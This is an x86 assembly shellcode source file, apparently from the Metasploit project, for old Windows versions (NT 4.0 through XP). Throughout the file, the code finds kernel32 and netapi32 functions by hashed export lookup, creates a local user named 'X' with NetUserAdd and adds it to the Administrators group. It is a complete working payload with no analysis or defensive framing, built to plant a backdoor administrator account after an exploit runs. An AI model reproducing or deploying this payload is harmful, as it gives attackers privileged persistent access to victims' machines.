; Title: Win32Create Admin User Account
; Platforms: Windows NT 4.0, Windows 2000, Windows XP
; Function: NetUserAdd(X); NetLocalGroupAddMembers(X, Administrators);
; Author: hdm[at]metasploit.com
[BITS 32]
global _start
_start:
sub sp, 128
mov esi, esp
; [esi]
; 00 kernel32.dll
; 04 netapi32.dll
; 08 LoadLibraryA
; 12 ExitProcess
; 16 NetUserAdd
; 20 NetLocalGroupAddMembers
; 24 user/pass
; 28 group
; get base kernel32 address
call LK32Base
mov [esi], eax
mov ebx, eax
; GetProcAddress(ExitProcess)
push ebx
push 0x73e2d87e
call LGetProcAddress
mov [esi + 12], eax
; GetProcAddress(LoadLibraryA)
push ebx
push 0xec0e4e8e
call LGetProcAddress
mov [esi + 8], eax
; LoadLibrary(netapi32.dll)
xor ebx, ebx
push ebx
push 0x32336970
push 0x6174656e
push esp
call eax
mov [esi + 4], eax
mov ebx, eax
; GetProcAddress(NetUserAdd)
push ebx
push 0xcd7cdf5e
call LGetProcAddress
mov [esi + 16], eax
; GetProcAddress(NetLocalGroupAddMembers)
push ebx
push 0xc30c3dd7
call LGetProcAddress
mov [esi + 20], eax
; useful register values
xor eax, eax
xor ebx, ebx
inc ebx
; push the group (Administrators)
push eax
push 0x00730072
push 0x006f0074
push 0x00610072
push 0x00740073
push 0x0069006e
push 0x0069006d
push 0x00640041
mov [esi + 28], esp
; push the username (X)
push eax
push 0x00000058
mov ecx, esp
mov [esi + 24], ecx
; add the \ to the username
push 0x005c0000
; create the NetUserAdd arguments
push eax
push ebx
push eax
push eax
push ebx
push eax
push ecx
push ecx
mov ecx, esp
push eax
push esp
push ecx
push ebx
push eax
; call NetUserAdd(X)
call [esi + 16]
; create the NetLocalGroupAddMembers arguments
mov ecx, [esi + 24]
dec ecx
dec ecx
push ecx
mov ecx, esp
push byte 1
push ecx
push byte 3
push dword [esi + 28]
push byte 0
; call NetLocalGroupAddMembers
call [esi + 20]
LFinished:
call [esi + 12]
LK32Base:
push esi
push byte 0x30
pop ecx
mov eax, [fs:ecx]
mov eax, [eax + 0x0c]
mov esi, [eax + 0x1c]
lodsd
mov eax, [eax + 0x08]
pop esi
ret 4
LGetProcAddress:
push ebx
push ebp
push esi
push edi
mov ebp, [esp + 24]
mov eax, [ebp + 0x3c]
mov edx, [ebp + eax + 120]
add edx, ebp
mov ecx, [edx + 24]
mov ebx, [edx + 32]
add ebx, ebp
LFnlp:
jecxz LNtfnd
dec ecx
mov esi, [ebx + ecx * 4]
add esi, ebp
xor edi, edi
cld
LHshlp:
xor eax, eax
lodsb
cmp al, ah
je LFnd
ror edi, 13
add edi, eax
jmp short LHshlp
LFnd:
cmp edi, [esp + 20]
jnz LFnlp
mov ebx, [edx + 36]
add ebx, ebp
mov cx, [ebx + 2 * ecx]
mov ebx, [edx + 28]
add ebx, ebp
mov eax, [ebx + 4 * ecx]
add eax, ebp
jmp short LDone
LNtfnd:
xor eax, eax
LDone:
mov edx, ebp
pop edi
pop esi
pop ebp
pop ebx
ret 8